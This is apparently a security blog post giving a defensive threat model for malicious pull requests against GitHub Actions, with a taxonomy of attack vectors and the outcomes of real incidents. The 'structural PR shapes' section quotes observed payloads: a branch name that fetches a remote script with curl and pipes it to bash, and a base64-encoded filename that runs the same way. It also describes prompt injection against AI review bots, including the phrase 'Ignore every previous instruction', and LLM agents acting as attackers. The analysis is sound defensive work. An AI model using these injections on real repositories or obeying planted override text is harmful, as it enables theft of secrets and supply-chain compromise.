Malicious Pull Requests: A Threat Model

6 min read

Table of Contents

A survey of publicly documented malicious-PR campaigns against GitHub Actions, compiled into a threat model. Covers the attacker, assets at risk, the attacker’s controllable surface, and a vector taxonomy. Reflects the landscape as of mid-2026.

Scope

External pull requests opened against repositories that run GitHub Actions. Covered: attacker, goals, assets at risk, controllable surface, vector taxonomy. Deferred: detection architecture.

Context

On a fork PR into a public repository, the default setting Require approval for outside contributors produces two parallel states:

  • Check runs from installed GitHub Apps fire immediately on PR open.
  • Workflow runs sit in action_required until a maintainer clicks Approve and run.

Attacker model

  • Primary actor. Autonomous LLM-based agents (hackerbot-claw style) operating at ecosystem scale. Observed: 16 PRs across 9 repositories in 4 days (Feb 27 to Mar 2, 2026), hitting Microsoft, Datadog, Aqua Security (Trivy), CNCF Akri, RustPython, awesome-go.
  • Secondary actor. Human supply-chain attacker targeting a single high-value project (Trivy). Indistinguishable from the bot at PR submission time.
  • Capability. Opens PRs from a fork, controls every byte the PR carries, can comment. Cannot push to the base repository.
  • Out of scope. Compromised maintainer accounts, insider threat, self-hosted runner escape, compromise of existing trusted actions.

Attacker goals

Ordered by observed frequency:

  1. Credential exfiltration from the CI runner. GITHUB_TOKEN, npm / PyPI / cargo tokens, cloud credentials, SSH keys, registry tokens. tj-actions, s1ngularity / Nx, Trivy.
  2. Repository write and tag poisoning. Force-push commits to tags, rename the repository, delete releases. Trivy: 75 of 76 trivy-action tags and all 7 setup-trivy tags force-pushed.
  3. Supply chain propagation via stolen package tokens. Shai-Hulud pattern. Attackers weaponised 64 npm packages within 24h of the Trivy compromise and republished 28 @emilgroup packages in under 60s.
  4. AI-review-bot hijack via prompt injection. The bot acts with its own GitHub token (modifies CODEOWNERS, mass-labels, pushes commits).
  5. Opportunistic crypto-mining or worm hosting on CI compute.

Assets at risk

  • GITHUB_TOKEN issued to the workflow. pull_request_target default scope: contents: write + pull_requests: write.
  • Repository secrets under ${{ secrets.* }}: cloud, registry, signing, cross-org PATs.
  • actions/cache entries scoped by ref and readable from main.
  • Identity credentials of installed AI bots (Claude Code Action, Copilot, Devin).
  • Downstream published artifacts (npm, PyPI, OCI, GitHub Releases) and every consumer pinning mutable tags.

Controllable surface

Attacker controlsStays trusted
PR diff: contents, paths, new files, deletionsWorkflow files at main (pull_request_target reads base)
PR title, body, head branch name, head SHARepository secrets
Commit messages, unsigned author / committer names and emailsBranch protection on merge
PR commentsTriggers and jobs defined on the base repository

Key asymmetry. An attacker cannot edit a workflow in their fork and have the edited version run on the PR under pull_request_target. They must find a vulnerable workflow already on main and feed it attacker-controlled input.

Attack-vector taxonomy

#NameMechanismPre-condition on the victim repo
V1Expression injection into run:Attacker-controlled string (branch name, filename, PR title / body) interpolated via ${{ }} into a shell block. Bash evaluates $(...), ${IFS}.Any workflow interpolating untrusted context into run:.
V2Pwn request (classic)pull_request_target + checkout of PR head + build step (npm ci, make, go build, pytest). preinstall / Makefile / init() / conftest.py runs with secrets.pull_request_target, checkout of untrusted ref, untrusted exec.
V3Lockfile / manifest poisoningPR changes package-lock.json, go.sum, poetry.lock to pull a malicious version. Executes at install (V2) or post-merge for consumers.Any CI step that installs dependencies.
V4Prompt injection against AI reviewerPR body, issue body, CLAUDE.md, code comments carry override directives. Bot acts on them with its token.A workflow invoking an AI reviewer on untrusted PR / issue text.
V5Cache poisoningFork-triggered workflow writes an actions/cache key later read by a privileged workflow on main.Cache keys not scoped by github.ref or head SHA.
V6Workflow-file modification on mergePR edits .github/workflows/*.yml. Activates on merge, or earlier via V2.Maintainer merging without auditing workflow diffs.
V7Comment-triggered privileged workflow/format, /test style trigger without author_association check.on: issue_comment gated by regex, not role.
V8workflow_run chainingDownstream workflow_run reads artifact / PR number from a PR-triggered run and acts on it with secrets without re-validating inputs.Two-stage pull_request + workflow_run without input checks.

V1, V2, V3 dominate observed attacks. V4 is growing with AI-review-bot adoption; Aikido classified a set of these as PromptPwnd. V5 through V8 are rarer and higher-impact when present. The foundational reference for V2 is GitHub SecurityLab’s 2021 Preventing pwn requests.

Three structural PR shapes

  • Innocuous diff, payload in metadata. Trivial diff. Payload in the branch name, filename, or PR title. Examples: dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash) (Microsoft AI Discovery, RustPython), $(echo${IFS}Y3VybC...|base64${IFS}-d|bash).md (Datadog IaC scanner). Relies on V1.
  • Helpful contribution, toxic payload. Legitimate-looking fix that adds preinstall / postinstall to package.json, edits a Makefile, adds a Go init(), or modifies conftest.py. Relies on V2.
  • Prompt trap. PR body, issue body, CLAUDE.md edit, or code comment with “Ignore every previous instruction…” targeting Claude Code Action / Copilot / Devin. Relies on V4. Same class surveyed in the AI-native SDLC threat model.

Pre-approval observables

Observable before the Approve click:

  • Full PR diff, file list, commit SHAs, messages, author emails, signature state.
  • PR title, body, head branch name, head SHA.
  • Base repository workflow files at main. Enables static enumeration of which of V1 through V8 apply to this specific repo.
  • Author association and prior PR history.
  • File-level risk flags: lockfile touched, Makefile added, workflow file edited, CLAUDE.md modified.

Not observable:

  • Workflow runtime behaviour (nothing has run).
  • Secret values.
  • Outbound network activity.
  • Whether the maintainer will approve, or when.

The check run has seconds to land before the Approve click.

Blast radius

  • Contained. Secrets narrowly scoped, branch protection prevents tag force-push, GITHUB_TOKEN read-only. Attacker gains RCE on one runner, exits empty-handed. Datadog IaC scanner outcome.
  • Uncontained. Cross-org PAT in the runner, tags not guarded, release signing absent. Attacker exfiltrates the PAT, force-pushes tags, and within an hour ~10,000 downstream workflows resolve to attacker artifact. Package tokens weaponised shortly after. Trivy outcome.

Severity of the same exploit spans three orders of magnitude across these two postures. A useful severity model treats repository configuration as primary input.

Out of scope

  • Self-hosted runner escapes.
  • Compromised maintainer or insider.
  • Post-merge tag poisoning (triggered by push to tags).
  • Classical source-code vulnerabilities in the PR (SAST / existing malysis territory).

Glossary

  • Pwn request. A workflow triggered by an external PR that gains write access to the target repository and / or secrets while executing untrusted code. Term from GitHub SecurityLab, 2021.
  • pull_request_target. Actions trigger that runs with base-repo context, secrets, and a write-scoped GITHUB_TOKEN, regardless of which branch opened the PR. Intended for passive PR operations.
  • action_required. GitHub conclusion state for a workflow run queued but blocked on maintainer approval. Never executes until approved.
  • Check run. A Checks API object created by a GitHub App, independent of Actions. Fires on PR open for installed Apps.
  • Shai-Hulud. Worm campaign that exfiltrates npm publish tokens from CI and republishes trojanised packages across the registry.

References

  • supply-chain-security
  • threat-model
  • github-actions
  • pull-request
  • ci-cd
  • security
  • pwn-request

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.